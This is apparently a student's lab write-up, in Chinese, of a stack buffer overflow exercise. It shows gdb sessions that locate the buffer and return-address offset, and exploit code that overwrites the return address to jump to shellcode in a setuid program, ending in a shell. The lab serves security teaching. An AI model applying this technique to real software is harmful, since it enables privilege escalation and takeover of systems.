缓冲区溢出

1. 新建一个Stack.c文件并按题目要求编译和设置权限。

```
huangjiongrui@huangjiongrui-virtual-machine:~$ sudo su
[sudo] huangjiongrui 的密码:
root@huangjiongrui-virtual-machine:/home/huangjiongrui# sudo su
root@huangjiongrui-virtual-machine:/home/huangjiongrui# gcc -m32 -g -z execstac
k -fno-stack-protector -o stack stack.c
root@huangjiongrui-virtual-machine:/home/huangjiongrui# chmod u+s stack
root@huangjiongrui-virtual-machine:/home/huangjiongrui# exit
```

2. 使用gdb对stack文件进行调试，并使用disass查看文件的汇编指令。

```
(gdb) disass bof
Dump of assembler code for function bof:
   0x080484bb <+0>:     push   %ebp
   0x080484bc <+1>:     mov    %esp,%ebp
   0x080484be <+3>:     sub    $0x18,%esp
   0x080484c1 <+6>:     sub    $0x8,%esp
   0x080484c4 <+9>:     pushl  0x8(%ebp)
   0x080484c7 <+12>:    lea    -0x14(%ebp),%eax
   0x080484ca <+15>:    push   %eax
   0x080484cb <+16>:    call   0x8048370 <strcpy@plt>
   0x080484d0 <+21>:    add    $0x10,%esp
   0x080484d3 <+24>:    mov    $0x1,%eax
   0x080484d8 <+29>:    leave
   0x080484d9 <+30>:    ret
End of assembler dump.
(gdb) b *0x080484ca
Breakpoint 1 at 0x80484ca: file stack.c, line 12.
```

我们观察到bof函数在调用strcpy的时候一共push了两个参数，这就是str指针和buffer的指针。根据c语言的__cdecl的堆栈传递参数模式，我们可以推导出buffer的位置是执行到push eax语句时eax的值。

3. 在0x080484ca处设置断点进行调试，之后使用i r 语句查看寄存器的值。

```
Breakpoint 1, 0x080484ca in bof (
    str=0xffffcf17 '\220' <repeats 20 times>, "\027\335\377\377\377\377\377\177
", '\220' <repeats 172 times>...) at stack.c:12
12          strcpy(buffer, str);
(gdb) i r eax
eax            0xffffcee4       -12572
```

确定这个值就是buffer，即赋值时的地址。

4. 知道buffer的地址后，需要知道返回地址在堆栈中的位置。根据c语言的__cdecl的堆栈传递参数模式，在0x080484bc中设置断点，此时的esp寄存器内的值等于返回地址减4（减掉的这个4就是push进来的ebp）。

```
Breakpoint 1, 0x080484bc in bof (
    str=0xffffcf17 '\220' <repeats 24 times>, "\344\317\377\377", '\220' <repea
ts 172 times>...) at stack.c:8
8       {
gdb-peda$ i r esp
esp            0xffffcef8       0xffffcef8
```

5. 将buffer的地址和返回地址相减0xcefc-0xcee4 = 0x18,这就是偏移的量，所以可以将需要跳转的地址放在buffer + 24处。

6. 之后只要自己设置需要跳转的位置即可，因为在stack中，覆盖有shellcode 的代码有两处，一处是main函数中的str，一处是bof函数中的buffer，所以只要找到这两处的地址进行偏移就可以了。因为上面得到了buffer地址，这里以buffer为例。但是str地址的得到更加简单，只需在main函数下调试时使用print打印即可。

7. 将shellcode的代码放在badfile文件后0x100处，所需跳转的地址即为buffer+0x100. 另外由于机器是小段规则，所以要进行地址的转换。

   最终所需填充的代码如下：

```
/* You need to fill the buffer with appropriate contents here */
char addr[4] = {0xe4,0xcf,0xff,0xff};//0xffffcee4(&buffer)+0x100
                                     //0xffffcf00(the addr of *str in bof)
                                     //0xffffcf17(*str)
memcpy(buffer+24,addr,4);
memcpy(buffer+0x100,code,50);
```

   当然，addr中填入0xffffd017也是正确的。

8. 最终运行效果如下：

```
huangjiongrui@huangjiongrui-virtual-machine:~$ ./stack
$ ls
1.sh            debug_me.c  get-pip.py              shell     ??????     ??????
badfile         exploit     hello.txt               shell.c   ?????????  ??????
class_of_linux  exploit.c   peda                    stack     ??????     ??????
core            explot      peda-session-stack.txt  stack.c   ??????
debug_me        firscrip    professional            test.py   ??????
$
```